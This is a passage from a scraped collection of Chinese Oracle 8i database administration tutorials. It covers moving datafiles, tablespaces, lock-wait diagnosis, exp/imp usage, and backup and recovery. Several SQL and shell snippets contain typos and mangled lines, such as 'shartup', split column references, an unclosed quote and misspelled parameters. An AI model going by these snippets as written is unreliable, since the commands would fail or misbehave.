C:\ORACLE\ORADATA\ORADB\DR01.DBF                  7 DRSYS                  20971520 AVAILABLE
E:\TEST.ORA                                       8 TEST                    5242880 AVAILABLE

2、使用SERVER MANAGER关闭实例
c:\> svrmgrl
SVRMGR> connect internal
SVRMGR> shutdown;
SVRMGR> exit;

也可以在管理工具中用“服务”工具来关闭OracleServiceORCL，
不用关闭OracleOraHome81TNSListener

3、使用操作系统命令来移动数据库文件位置（不关闭，移动不了文件）
c:\>move e:\test.dbf d:\test.dbf
或在资源管理器中用鼠标“剪切”“粘贴”来完成

4、装载数据库并用alter database命令来改变数据库中的文件名

也可以在管理工具中用“服务”工具来启动OracleServiceORCL
不过，这时，表面上看OracleServiceORCL服务是启动了，但数据库并没有打开，
显示
ERROR：
ORA-01033: ORACLE initialization or shutdown in progress
这时，也可用internal/oracle连入SQL*Plus

SVRMGR> connect internal
SVRMGR> shartup mount ORCL;
SVRMGR> alter database rename file
      > 'e:\test.dbf' to
      > 'd:\test.dbf';
注意：一定要加单引号'
完成这个步骤后，保留数据库日志，并执行步骤5

5、启动实例
SVRMGR> connect internal
SVRMGR> alter database open;

这时，数据库真正打开，可以执行各种操作

6、查看一下数据文件状态
SQL> select file_name,file_id,tablespace_name,bytes,status from dba_data_files;

FILE_NAME                                   FILE_ID TABLESPACE_NAME           BYTES STATUS
---------------------------------------- ---------- -------------------- ---------- ---------
C:\ORACLE\ORADATA\ORADB\SYSTEM01.DBF              1 SYSTEM                273154048 AVAILABLE
C:\ORACLE\ORADATA\ORADB\RBS01.DBF                 2 RBS                    73400320 AVAILABLE
C:\ORACLE\ORADATA\ORADB\USERS01.DBF               3 USERS                  20971520 AVAILABLE
C:\ORACLE\ORADATA\ORADB\TEMP01.DBF                4 TEMP                   20971520 AVAILABLE
C:\ORACLE\ORADATA\ORADB\TOOLS01.DBF               5 TOOLS                  10485760 AVAILABLE
C:\ORACLE\ORADATA\ORADB\INDX01.DBF                6 INDX                   20971520 AVAILABLE
C:\ORACLE\ORADATA\ORADB\DR01.DBF                  7 DRSYS                  20971520 AVAILABLE
D:\TEST.ORA                                       8 TEST                    5242880 AVAILABLE


Oracle技术网—如何增加表空间的大小

位置：首页→DBA→

阿木伯 著
如何增加表空间的大小？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：

可以用以下两种方法：

1、为这个表空间增加一个数据文件
SQL> alter tablespace 表空间名 add datafile '/u1/oradata/userdata_002.ora' size 50m;　　--Unix中
SQL> alter tablespace 表空间名 add datafile 'c:\oradata\userdata_002.ora' size 50m;　　 --Windows NT中

2、重新调整数据文件的大小
SQL> alter database datafile '/u1/oradata/userdata_001.ora' resize 50M; 　--Unix中
SQL> alter database datafile 'c:\oradata\userdata_002.ora' resize 50M;　　--Windows NT中


Oracle技术网—怎样查看init.ora文件

位置：首页→DBA→

阿木伯 著
怎样查看init.ora文件？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
        1、
    C:\> svrmgr30
    SVRMGR> connect internal
    SVRMGR> show parameter

    2、
    SQL> conn system/manager
    SQL> select name,value from v$parameter order by name;

    3、
    查看C:\ORANT\DATABASE\Initorcl.ora文件（假设Oracle为默认安装，实例名为ORCL）

    4、
    使用Oracle Enterpriation Manger（OEM）工具
    Instance Manager


Oracle技术网—怎样查看SGA值

位置：首页→DBA→

阿木伯 著
怎样查看SGA值？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
        C:\> svrmgr30
    SVRMGR> connect internal
    SVRMGR> show sga

    SQL> conn system/manager
    SQL> select * from v$sga;


Oracle技术网—怎样查看哪些用户拥有SYSDBA、SYSOPER权限？

位置：首页→DBA→

阿木伯 著
怎样查看哪些用户拥有SYSDBA、SYSOPER权限？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
        SQL>conn sys/change_on_install

    SQL>select * from V_$PWFILE_USERS;

    USERNAME                       SYSDB SYSOP
    ------------------------------ ----- -----
    INTERNAL                       TRUE  TRUE
    SYS                            TRUE  TRUE


Oracle技术网—怎样快速查出Oracle 数据库中的锁等待

怎样快速查出Oracle 数据库中的锁等待

---摘自《计算机世界日报》(文/赵华良)

---- 在大型数据库系统中，为了保证数据的一致性，在对数据库中的数据进行操作时，系统会进行对数据相应的锁定。

---- 这些锁定中有"只读锁"、"排它锁"，"共享排它锁"等多种类型，而且每种类型又有"行级锁"（一次锁住一条记录），"页级锁"（一次锁住一页，即数据库中存储记录的最小可分配单元），"表级锁"（锁住整个表）。

---- 若为"行级排它锁"，则除被锁住的该行外，该表中其它行均可被其它的用户进行修改(Update)或删除(delete)操作，若为"表级排它锁"，则所有其它用户只能对该表进行查询(select)操作，而无法对其中的任何记录进行修改或删除。当程序对所做的修改进行提交(commit)或回滚后(rollback)后，锁住的资源便会得到释放，从而允许其它用户进行操作。

---- 但是，有时，由于程序中的原因，锁住资源后长时间未对其工作进行提交；或是由于用户的原因，如调出需要修改的数据后，未及时修改并提交，而是放置于一旁；或是由于客户服务器方式中客户端出现"死机"，而服务器端却并未检测到，从而造成锁定的资源未被及时释放，影响到其它用户的操作。

---- 因而，如何迅速地诊断出锁住资源的用户以及解决其锁定便是数据库管理员的一个挑战。

---- 由于数据库应用系统越来越复杂， 一旦出现由于锁资源未及时释放的情况，便会引起对一相同表进行操作的大量用户无法进行操作，从而影响到系统的使用。此时，DBA应尽量快地解决问题。但是，由于在Oracle 8.0.x 中执行"获取正在等待锁资源的用户名"的查询语句

select a.username, a.sid, a.serial#, b.id1
  from v$session a, v$lock b
  where a.lockwait = b.kaddr
---- 十分缓慢，（在 Oracle 7.3.4中执行很快)，而且，执行"查找阻塞其它用户的用户进程"的查询语句
    select a.username, a.sid, a.serial#, b.id1
      from v$session a, v$lock b
     where b.id1 in
           (select distinct e.id1
              from v$session d, v$lock e
             where d.lockwait = e.kaddr)
       and a.sid = b.sid
       and b.request = 0
---- 执行得也十分缓慢。因而，往往只好通过将 v$session 中状态为"inactive"（不活动）并且最后一次进行操作时间至当前已超过 20 分钟以上(last_call_et>20*60 秒)的用户进程清除，然后才使得问题得到解决。

---- 但是，这种方法实际上是"把婴儿与脏水一起泼掉"。因为，有些用户的进程尽管也为"inactive"，并且也已有较长时间未活动，但是，那是由于他们处于锁等待状态。

---- 因而，我想出了一个解决办法。即通过将问题发生时的 v$lock，v$session视图中的相关记录保存于自己建立的表中，再对该表进行查询，则速度大大提高，可以迅速发现问题。经实际使用，效果非常好。在接到用户反映后，几秒钟即可查出由于锁住资源而影响其它用户的进程，并进行相应的处理。

---- 首先，以 dba 身份（不一定为system）登录入数据库中，创建三个基本表:my_session，my_lock, my_sqltext，并在将会进行查询的列上建立相应的索引。语句如下： rem 从 v$session 视图中取出关心的字段，创建 my_session 表,并在查询要用到的字段上创建索引，以加快查询速度

drop table my_session;
create table my_session
as
select a.username, a.sid, a.serial#,
a.lockwait, a.machine,a.status,
a.last_call_et,a.sql_hash_value,a.program
  from v$session a
 where 1=2 ;

create unique index my_session_u1 on my_session(sid);
create index my_session_n2 on my_session(lockwait);
create index my_session_n3 on my_session(sql_hash_value);
---- rem 从 v$lock 视图中取出字段，创建 my_lock 表，并在查询要用到的字段上创建索引，以加快查询速度
drop table my_lock;
create table my_lock
as
select id1, kaddr, sid, request,type
  from v$lock
 where 1=2;

create index my_lock_n1 on my_lock(sid);
create index my_lock_n2 on my_lock(kaddr);
---- rem 从 v$sqltext 视图中取出字段，创建 my_sqltext 表，并在查询要用到的字段上创建索引，以加快查询速度
drop table my_sqltext;
create table my_sqltext
as
select hash_value , sql_text
  from v$sqltext
 where 1=2;

create index my_sqltext_n1 on my_sqltext ( hash_value);
---- 然后，创建一个 SQL 脚本文件，以便需要时可从 SQL*Plus 中直接调用。 其中，首先用 truncate table 表名命令将表中的记录删除。之所以用 truncate 命令，而不是用delete 命令，是因为delete 命令执行时，将会产生重演记录，速度较慢，而且索引所占的空间并未真正释放，若反复做 insert及delete,则索引所占的空间会不断增长，查询速度也会变慢。而 truncate命令不产生重演记录，速度执行较delete快，而且索引空间被相应地释放出来。删除记录后，再将三个视图中的相关记录插入自己创建的三个表中。最后，对其进行查询，由于有索引，同时由于在插入时条件过滤后，记录数相对来说较少，因而查询速度很快，马上可以看到其结果。

---- 此时，若发现该阻塞其它用户进程的进程是正常操作中，则可通知该用户对其进行提交，从而达到释放锁资源的目的；若为未正常操作，即，其状态为"inactive"，且其last_call_et已为较多长时间，则可执行以下语句将该进程进行清除，系统会自动对其进行回滚，从而释放锁住的资源。

   alter system kill session 'sid, serial#';
---- SQL 脚本如下：
set echo off
set feedback off
prompt '删除旧记录.....'
truncate table my_session;
truncate table my_lock;
truncate table my_sqltext;

prompt '获取数据.....'
insert into my_session
select a.username, a.sid, a.serial#,
       a.lockwait, a.machine,a.status,
       a.last_call_et,a.sql_hash_value,a.program
  from v$session a
 where nvl(a.username,'NULL')< >'NULL;

insert into my_lock
select id1, kaddr, sid, request,type
  from v$lock;

insert into my_sqltext
select hash_value , sql_text
  from v$sqltext s, my_session m
 where s.hash_value=m.sql_hash_value;

column username format a10
column machine format a15
column last_call_et format 99999 heading "Seconds"
column sid format 9999

prompt "正在等待别人的用户"
select a.sid, a.serial#,
a.machine,a.last_call_et, a.username, b.id1
  from my_session a, my_lock b
 where a.lockwait = b.kaddr;

prompt "被等待的用户"
select a.sid, a.serial#,
a.	machine,  a.last_call_et,a.username,
b.	 b.type,a.status,b.id1
  from my_session a, my_lock b
 where b.id1 in
      (select distinct e.id1
         from my_session d, my_lock e
        where d.lockwait = e.kaddr)
   and a.sid = b.sid
   and b.request=0;

prompt "查出其  sql "
select a.username, a.sid, a.serial#,
 b.id1, b.type, c.sql_text
  from my_session a, my_lock b, my_sqltext c
 where b.id1 in
       (select distinct e.id1
          from my_session d, my_lock e
         where d.lockwait = e.kaddr)
   and a.sid = b.sid
   and b.request=0
   and c.hash_value =a.sql_hash_value;
---- 以上思路也可用于其它大型数据库系统如 Informix, Sybase,DB2中。通过使用该脚本，可以极大地提高获取系统中当前锁等待的情况，从而及时解决数据库应用系统中的锁等待问题。而且，由于实际上已取出其 program 名及相应的 sql 语句，故可以在事后将其记录下来，交给其开发人员进行分析并从根本上得到解决。


Oracle技术网—怎样识别IO竞争和负载平衡

位置：首页→DBA→

阿木伯 著
怎样识别IO竞争和负载平衡？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 使用系统表：
      v$datafile：存储数据库中数据文件的信息
      v$filestat：存储系统中访问数据文件的统计信息
  • SQL语句：

col 文件名 format a35
select
    df.name 文件名,
    fs.phyrds 读次数,
    fs.phywrts 写次数,
    (fs.readtim/decode(fs.phyrds,0,-1,fs.phyrds)) 读时间,
    (fs.writetim/decode(fs.phywrts,0,-1,fs.phywrts)) 写时间
from
    v$datafile df,
    v$filestat fs
where df.file#=fs.file#
order by df.name
/
文件名                                           读次数     写次数     读时间     写时间
-------------------------------------------- ---------- ---------- ---------- ----------
C:\ORACLE\ORADATA\ORADB\DR01.DBF                   885        883          0          0
C:\ORACLE\ORADATA\ORADB\INDX01.DBF                 885        883          0          0
C:\ORACLE\ORADATA\ORADB\OEM_REPOSITORY.ORA         885        883          0          0
C:\ORACLE\ORADATA\ORADB\RBS01.DBF                  925      22306          0          0
C:\ORACLE\ORADATA\ORADB\SYSTEM01.DBF             50804     155025          0          0
C:\ORACLE\ORADATA\ORADB\TEMP01.DBF                 887        894          0          0
C:\ORACLE\ORADATA\ORADB\TOOLS01.DBF                886        892          0          0
C:\ORACLE\ORADATA\ORADB\USERS01.DBF                885        883          0          0

已选择8行。

其中：ORADB为数据库名，因为本例中数据库使默认安装，没有进行过优化、调整，
      所以，一直在system表空间上做操作，导致system表空间所在的数据文件SYSTEM01.DBF被读写的次数最多，
      这也说明了，尽量不要在system表空间做与系统无关的操作，应给各个用户建立单独的表空间。


Oracle技术网—EXP、IMP 命令详解

位置：首页→Exp/Imp→

【点击：】 阿木伯 著
EXP、IMP 命令详解

  • 命令详解：

E:\>exp help=y

通过输入 EXP 命令和用户名/口令，您可以
在用户 / 口令之后的命令:

实例: EXP SCOTT/TIGER

或者，您也可以通过输入跟有各种参数的 EXP 命令来控制“导出”的运行方式。
要指定参数，您可以使用关键字:

格式: EXP KEYWORD=value 或 KEYWORD=(value1,value2,...,valueN)
实例: EXP SCOTT/TIGER GRANTS=Y TABLES=(EMP,DEPT,MGR)
或 TABLES=(T1: P1,T1: P2)，如果 T1 是分区表

USERID 必须是命令行中的第一个参数。

关键字			说明（默认）
---------------------------------------------------
USERID			用户名/口令
FULL			导出整个文件 (N)
BUFFER			数据缓冲区的大小
OWNER			所有者用户名列表
FILE			输出文件 (EXPDAT.DMP)
TABLES			表名列表
COMPRESS			导入一个范围 (Y)
RECORDLENGTH		IO 记录的长度
GRANTS			导出权限 (Y)
INCTYPE			增量导出类型
INDEXES			导出索引 (Y)
RECORD			跟踪增量导出 (Y)
ROWS			导出数据行 (Y)
PARFILE			参数文件名
CONSTRAINTS		导出限制 (Y)
CONSISTENT			交叉表一致性
LOG			屏幕输出的日志文件
STATISTICS			分析对象 (ESTIMATE)
DIRECT			直接路径 (N)
TRIGGERS			导出触发器 (Y)
FEEDBACK			显示每 x 行 (0) 的进度
FILESIZE			各转储文件的最大尺寸
QUERY			选定导出表子集的子句

下列关键字仅用于可传输的表空间
TRANSPORT_TABLESPACE		导出可传输的表空间元数据 (N)
TABLESPACES		将传输的表空间列表

E:\>imp help=y

可以通过输入 IMP 命令和您的用户名/口令
跟有您的用户名 / 口令的命令:

实例: IMP SCOTT/TIGER

或者, 可以通过输入 IMP 命令和各种自变量来控制“导入”按照不同参数。
要指定参数，您可以使用关键字:

格式: IMP KEYWORD=value 或 KEYWORD=(value1,value2,...,vlaueN)
实例: IMP SCOTT/TIGER IGNORE=Y TABLES=(EMP,DEPT) FULL=N
或 TABLES=(T1: P1,T1: P2)，如果 T1 是分区表

USERID 必须是命令行中的第一个参数。

关键字			说明（默认）
----------------------------------------------
USERID			用户名/口令
FULL			导入整个文件 (N)
BUFFER			数据缓冲区大小
FROMUSER			所有人用户名列表
FILE			输入文件 (EXPDAT.DMP)
TOUSER			用户名列表
SHOW			只列出文件内容 (N)
TABLES			表名列表
IGNORE			忽略创建错误 (N)
RECORDLENGTH		IO 记录的长度
GRANTS			导入权限 (Y)
INCTYPE			增量导入类型
INDEXES			导入索引 (Y)
COMMIT			提交数组插入 (N)
ROWS			导入数据行 (Y)
PARFILE			参数文件名
LOG			屏幕输出的日志文件
CONSTRAINTS		导入限制 (Y)
DESTROY			覆盖表空间数据文件 (N)
INDEXFILE			将表/索引信息写入指定的文件
SKIP_UNUSABLE_INDEXES		跳过不可用索引的维护 (N)
ANALYZE			执行转储文件中的 ANALYZE 语句 (Y)
FEEDBACK			显示每 x 行 (0) 的进度
TOID_NOVALIDATE		跳过指定类型 id 的校验
FILESIZE			各转储文件的最大尺寸
RECALCULATE_STATISTICS	重新计算统计值 (N)

下列关键字仅用于可传输的表空间
TRANSPORT_TABLESPACE		导入可传输的表空间元数据 (N)
TABLESPACES		将要传输到数据库的表空间
DATAFILES			将要传输到数据库的数据文件
TTS_OWNERS			拥有可传输表空间集中数据的用户


Oracle技术网—Exp/Imp大量数据

位置：首页→Exp/Imp→

Exp/Imp大量数据

摘自：宏贝思

Oracle的exp/imp是许多用户经常使用的两个工具. 它们常被用来做数据库的逻辑备份,数据库重组和数据转移等工作. 先由exp把数据卸出到文件系统, 产生一个.dmp文件, 然后必要时再由imp将数据装入数据库. 对于一般中小型数据库来说, 全数据库的exp所产生的dmp文件可能小于2GB, 但对稍大型的数据库, exp产生的数据动辄数十至上百个GB. 而现时多数操作系统为32位, 其文件系统允许的最大文件为2GB. 这样显然不能由文件系统存放exp产生的数据. 这是问题之一. 另一个问题是随着数据库的不断增大, exp所需时间越来越长以致实际上很难实施. 本文针对以上两个问题讨论相应对策.

我们以UNIX为例首先看看如何超越2GB限制. 这需利用UNIX的通用技术, 如管道(named pipe), 数据拷贝工具dd以及数据压缩(compress). 下面分别讨论这几种技术.

·管道 是一种伪文件. 它存在于内存中, 用于快速I/O操作. 管道的缓冲区采用先进先出机制, 即写管道进程写到缓冲区头部而读管道进程读取管道尾部. 建立管道的命令为”mknod filename p”.

·dd 允许我们从一个设备拷贝数据到另一个设备.

·compress 为UNIX数据压缩工具.

实施exp之前, 我们可先检查所产生dmp文件的大小. 以下步骤既可实现,

1. 生成管道:

$ mknod /tmp/mypipe p

2. exp结果输出到该管道

$ exp file=/tmp/mypipe <…其它exp选项> &

3. 读取管道并把结果输出到管道, 只为查看数据量:

$ dd if=/tmp/mypipe of=/dev/null

结果返回exp (.dmp)文件大小, 单位为块(512 bytes).

现在我们可以着手讨论具体方法,

1. 文件压缩

2. 直接exp到磁带

3. 综合方法

首先看文件压缩方法. 利用文件压缩我们可尽量避免dmp文件大小超过2GB限制. 我们利用UNIX的管道技术, 具体步骤如下,

1. 启动compress进程, 使之从管道读取数据并输出到磁盘文件.

$ mknod /tmp/exp_pipe p

$ compress < /tmp/exp_pipe > export.dmp.Z &

2. exp到管道.

$ exp file=/tmp/exp_pipe … &

imp时情况类似.

再看看直接exp到磁带上的方法.

$ exp file=/dev/rmt/0m volsize=4G

$ imp file=/dev/rmt/0m volsize=4G

最后看看exp到裸设备上的方法,

$ exp file=/dev/rdsk/c0t3d0s0 volsize=4G

imp类似.

以上方法都可使我们避免2GB限制.

下面讨论如何缩短exp索需时间的问题. 目前多数用户会采用exp到磁带的方法只因没有足够的剩余硬盘空间. 而整个exp过程所花时间的大部分都在写磁带上. 通过我们上面对UNIX工具的讨论, 我们可以做到先exp到管道, 再将管道数据压缩后输出到磁带上. 这样写磁带的数据量可大大减少, 从而在相当程度上缩短写磁带时间. 另外从Oracle内部角度讲, 从7.3版开始, Oracle允许用户做direct path export, 即跳过Oracle

$ make -f $ORACLE_HOME/rdbms/lib/oracle.mk expst

$ make -f $ORACLE_HOME/rdbms/lib/oracle.mk impst

以上步骤产生的可执行文件expst (exp single task)和impst与exp/imp用法完全相同. 使用它们比使用exp/imp可节省多至30%的时间. 但在使用它们时千万要注意一点, 即一定要保证在使用expst/impst时不能有任何其他用户在使用Oracle数据库, 否则数据库会产生不可预知的后果甚至毁坏.


Oracle技术网—Export/Import 使用技巧与常见错误

位置：首页→Exp/Imp→

Export/Import 使用技巧与常见错误

摘自：宏贝思

Export 和 Import 是一对读写Oracle数据的工具. Export 将 Oracle 数据库中的数据输出到操作系统文件中, Import 把这些文件中的数据读到Oracle 数据库中. Export/Import可以用来完成以下工作: 数据归档, 数据库升级, 备份数据库, 把数据从一个数据库移到另一个数据库, 回收数据库存储碎片等等.

使用Export除了要保证磁盘或磁带上有足够的空间, 还必须执行expvew.sql和expvew.sql来创建Export使用的示图, 并创建EXP_FULL_DATABASE ROLE. 使用Export的用户应具有CREATE SESSION的权限, 若要Export其他用户的表还要有EXP_FULL_DATABASE ROLE.同样, 使用Import必须用catex.sql来创建IMP_FULL_DATABASE ROLE. 使用Import的用户应具有CREATE SESSION的权限. Import只能读入用Export创建的文件. 如果该文件是全库Export, 使用Import的用户还要有IMP_FULL_DATABASE ROLE.

Export/Import有三个级别: 表级, 用户级和全数据库级.

表级允许Export/Import指定的表而不涉及其他数据库对象. 用户级Export/Import只针对属于指定用户的全部数据库对象. 只有拥有EXP_FULL_DATABASE/IMP_FULL_DATABASE ROLE 的用户才能使用全数据库级的Export/Import.

有三种方式执行Export/Import: 参数文件方式, 命令行方式和交互式.

使用参数文件是一种比较好的方式, 格式为:

Exp <username/password> PARFILE = <filename>

Imp <username/password> PARFILE = <filename>

命令行方式是指在命令行中指定参数:

Exp <username/password> TABLES = (emp,dept) GRANTS = y

Imp <username/password> FROMUSER = scott TOUSER = test TABLES = (emp,dept)

交互式只要敲入Exp或Imp然后回答屏幕上的提问即可.

下面介绍一些EXPORT/IMPORT的使用技巧

- 把数据库对象从一个用户移到另一个用户

Oracle 不允许直接改变表的拥有者, 利用Export/Import可以达到这一目的.

假设要把表 T 的拥有者User1改为User2, 具体步骤是:

- exp system/manager tables = User1.T

- imp system/manager fromuser = User1 touser = User2 tables = T

- drop table User1.T

- 把数据库对象从一个表空间移到另一个表空间

建表时可以指定表空间, 表空间一经确定就部能随意改变. 若要表 T 从表空间 tbs1移到表空间 tbs2, 就要采用以下方法:

- exp <user/passwd> tables = T

- imp <user/passwd> tables = T indexfile = temp.sql

- drop table T

- 编辑 temp.sql 只保留所需的建表命令并指定表空间为tbs2

- 以表的所有者执行temp.sql

- imp <user/passwd> tables = T ignore = Y

- 只输出一个的表空间

通常数据库设计成用户若属于某个表空间, 那么这个用户创建的数据库对象也在该表空间内.

Export某个表空间可用如下方法:

- 查看表空间内所有用户

spool owners

select owner

from dba_segments

where tablespace_name = '<TablespaceName>';

spool off

- 查看表空间内所有数据库对象

spool objects

select owner, object_name, object_type

from dba_objects

where owner = 'owner1'

or owner = 'owner2'

...

or owner = 'ownern';

spool off

- 作表级Export

- 从Exp文件中提取创建数据库对象的命令

在IMPORT时使用 'INDEXFILE = FileName', IMPORT把创建数据库对象的命令输出到指定的文件中, 编辑后运行这个文件就能建立数据库对象.

下面介绍Export/Import 使用中几个常见的问题和解决办法

- Export/Import 使用不同的字符集

Export文件中包含着字符信息. 如过输入/输出都使用担字节字符集, 如EBCDIC或US7ASCII, 输入时将自动进行字符集转换. 转换过程中, 若输出文件中含有的目标字符集中不能匹配的字符会自动设成缺省字符.

对于多字节字符集, 如ZHS16CGB231280, 通常不能自动转换, 只有在字符串长度不变的情况下才能自动转换.

- 空间不够 -- 碎片问题

有些时候, 即使数据库仍有足够的空间, 使用IMPORT时却出空间不够的错误. 出现这种现象通常是由于数据库中存在碎片, 即有很多小的不连续的空闲空间. 解决办法是先将数据库全库EXPORT(FULL=Y), SHUTDOWN数据库, 重新建库(CREATE DATABASE)后用IMPORT FULL=Y恢复数据.

- ROLLBACK段不够

Export/Import使用过程中, 如果数据量很大会出现'ROLLBACK段不够'的错误. 这时要建一个足够大的ROLLBACK段, 使它ONLINE而其他ROLLBACK段OFFLINE. 这样, Export/Import使用这个大ROLLBACK段, 从而避免上述现象.


Oracle技术网—Oracle数据库的备份与恢复

位置：首页→Exp/Imp→

Oracle数据库的备份与恢复

摘自：不详

河南省新乡市电信局
靳云旭

---- 当我们使用一个数据库时，总希望数据库的内容是可靠的、正确的，但由于计算机系统的故障
（包括机器故障、介质故障、误操作等），数据库有时也可能遭到破坏，这时如何尽快恢复数据就
成为当务之急。如果平时对数据库做了备份，那么此时恢复数据就显得很容易。由此可见，做好数
据库的备份是多么的重要，下面笔者就以ORACLE7为例，来讲述一下数据库的备份和恢复。ORACLE
数据库有三种标准的备份方法，它们分别为导出/导入（EXPORT/IMPORT）、冷备份、热备份。导出
备份是一种逻辑备份，冷备份和热备份是物理备份。

---- 一、 导出/导入（Export/Import）

---- 利用Export可将数据从数据库中提取出来，利用Import则可将提取出来的数据送回Oracle数据库中去。

---- 1. 简单导出数据（Export）和导入数据（Import）

---- Oracle支持三种类型的输出：

---- （1）表方式（T方式），将指定表的数据导出。

---- （2）用户方式（U方式），将指定用户的所有对象及数据导出。

---- （3）全库方式（Full方式），将数据库中的所有对象导出。

---- 数据导出（Import）的过程是数据导入（Export）的逆过程，它们的数据流向不同。

---- 2. 增量导出/导入

---- 增量导出是一种常用的数据备份方法，它只能对整个数据库来实施，并且必须作为SYSTEM来导出。
在进行此种导出时，系统不要求回答任何问题。导出文件名缺省为export.dmp，如果不希望自己的输出
文件定名为export.dmp，必须在命令行中指出要用的文件名。

---- 增量导出包括三个类型：

---- （1）“完全”增量导出（Complete）

---- 即备份整个数据库，比如：

---- ＄exp system/manager inctype=complete file=990702.dmp

---- （2） “增量型”增量导出

---- 备份上一次备份后改变的数据。比如：

---- ＄exp system/manager inctype=incremental file=990702.dmp

---- （3） “累计型”增量导出（Cumulative）

---- 累计型导出方式只是导出自上次“完全” 导出之后数据库中变化了的信息。比如：

---- ＄exp system/manager inctype=cumulative file=990702.dmp

---- 数据库管理员可以排定一个备份日程表，用数据导出的三个不同方式合理高效地完成。

---- 比如数据库的备份任务可作如下安排：

---- 星期一：完全导出（A）

---- 星期二：增量导出（B）

---- 星期三：增量导出（C）

---- 星期四：增量导出（D）

---- 星期五：累计导出（E）

---- 星期六：增量导出（F）

---- 星期日：增量导出（G）

---- 如果在星期日，数据库遭到意外破坏，数据库管理员可按以下步骤来恢复数据库：

---- 第一步：用命令CREATE DATABASE重新生成数据库结构；

---- 第二步：创建一个足够大的附加回段。

---- 第三步：完全增量导入A：

---- ＄imp system./manager inctype= RECTORE FULL=Y FILE=A

---- 第四步：累计增量导入E：

---- ＄imp system/manager inctype= RECTORE FULL=Y FILE =E

---- 第五步：最近增量导入F：

---- ＄imp system/manager inctype=RESTORE FULL=Y FILE=F

---- 二、 冷备份

---- 冷备份发生在数据库已经正常关闭的情况下，当正常关闭时会提供给我们一个完整的数据库。
冷备份是将关键性文件拷贝到另外位置的一种说法。对于备份Oracle信息而言，冷备份是最快和最
安全的方法。冷备份的优点是：

---- 1．是非常快速的备份方法（只需拷贝文件）

---- 2．容易归档（简单拷贝即可）

---- 3．容易恢复到某个时间点上（只需将文件再拷贝回去）

---- 4．能与归档方法相结合，作数据库“最新状态”的恢复。

---- 5．低度维护，高度安全。

---- 但冷备份也有如下不足：

---- 1．单独使用时，只能提供到“某一时间点上”的恢复。

---- 2．在实施备份的全过程中，数据库必须要作备份而不能作其它工作。也就是说，
在冷备份过程中，数据库必须是关闭状态。

---- 3．若磁盘空间有限，只能拷贝到磁带等其它外部存储设备上，速度会很慢。

---- 4．不能按表或按用户恢复。

---- 如果可能的话（主要看效率），应将信息备份到磁盘上，然后启动数据库（使用户可以工作）
并将所备份的信息拷贝到磁带上（拷贝的同时，数据库也可以工作）。冷备份中必须拷贝的文件包括：

---- 1．所有数据文件

---- 2．所有控制文件

---- 3．所有联机REDO LOG文件

---- 4．Init.ora文件（可选）。

---- 值得注意的是冷备份必须在数据库关闭的情况下进行，当数据库处于打开状态时，
执行数据库文件系统备份是无效的

---- 下面是做冷备份的完整例子：

---- （1） 关闭数据库＄sqldba lmode=y

---- SQLDBA >connect internal;

---- SQLDBA >shutdown normal;

---- （2） 用拷贝命令备份全部的时间文件、重做日志文件、控制文件、初始化参数文件

---- SQLDBA >! cp < file > < backup directory >

---- （3） 重启Oracle数据库

---- ＄sqldba lmode=y

---- SQLDBA >connect internal;

---- SQLDBA >startup;

---- 三、 热备份

---- 热备份是在数据库运行的情况下，采用archivelog mode方式备份数据的方法。所以，
如果你有昨天夜里的一个冷备份而且又有今天的热备份文件，在发生问题时，就可以利用这
些资料恢复更多的信息。热备份要求数据库在Archivelog方式下操作，并需要大量的档案空间。
一旦数据库运行在archivelog状态下，就可以做备份了。热备份的命令文件由三部分组成：

---- 1．数据文件一个表空间一个表空间地备份。

---- （1）设置表空间为备份状态

---- （2）备份表空间的数据文件

---- （3）恢复表空间为正常状态

---- 2．备份归档log文件。

---- （1）临时停止归档进程

---- （2）log下那些在archive redo log目标目录中的文件

---- （3）重新启动archive进程

---- （4）备份归档的redo log 文件

---- 3．用alter database backup controlfile命令来备份拷贝文件

---- 热备份的优点是：

---- 1．可在表空间或数据文件级备份，备份时间短。

---- 2．备份时数据库仍可使用。

---- 3．可达到秒级恢复（恢复到某一时间点上）。

---- 4．可对几乎所有数据库实体作恢复。

---- 5．恢复是快速的，在大多数情况下在数据库仍工作时恢复。

---- 热备份的不足是：

---- 1．不能出错，否则后果严重。

---- 2．若热备份不成功，所得结果不可用于时间点的恢复。

---- 3．因难于维护，所以要特别仔细小心，不允许“以失败而告终”。


Oracle技术网—如何把数据exp到Sql loader里

 首页→Exp/Imp→
如何把数据exp到Sql loader里

摘自：不详

Exporting Table Data to SQL*Loader Files

下面是一个如何把指定table里的数据通过写好的script来导到一个SQL*LOADERL里的方法。包括3个脚本：
ExportTable.sql
GetLoaderControl.sql
GetLoaderData.sql (can be joined)
通过这些脚本把指定的table数据按照ascii存成CSV文件格式(可在MS Excel里读取)。同时也产生一个控制文件，在SQL*Loader导入CSV文件时用到。

先用文本编辑器把下面的3个脚本存成3个.sql文件，然后
SQL>@ExportTable

下面是这3个文件
--文件1:ExportTable.sql
--执行者:用户
--目的: Export table data to SQLLoader files

accept TableName prompt 'Table to export:'

set concat ~

prompt Data file - &TableName~.csv

prompt Control file - &TableName~.ctl

spool &TableName~.sql

start GetLoaderData &TableName

spool &TableName.csv

start &TableName

spool &TableName~.ctl

start GetLoaderControl &TableName

spool off

host del &TableName~.sql

rem host rm &TableName~.sql

set termout on

--------------------------------------------------------------------------------------------------------------
--文件2:GetLoaderControl.sql
--执行者: ExportTable.sql
--目的: Create SQLLoader control file

set pause off

set newpage none

set heading off

set concat ~

set feedback off

set verify off

set linesize 80

set trimspool on

set trimout off

set termout off

column ord noprint

select 1 ord,'load data' from dual

union

select 2 ord,'infile &&TableName.csv' from dual

union

select 3 ord,'append' from dual

union

select 4 ord,'into table &TableName' from dual

union

select 5 ord,'fields terminated by ' || ''';''' from dual

union

select 6 ord,'(' from dual

union

select 10*column_id ord, column_name || ' ' ||

decode(data_type,

'NUMBER','decimal external',

'VARCHAR2','char',

'CHAR','char',

'DATE','date') || ','

from user_tab_columns

where table_name = upper('&TableName')

and column_id not in ( select max(column_id)

from user_tab_columns

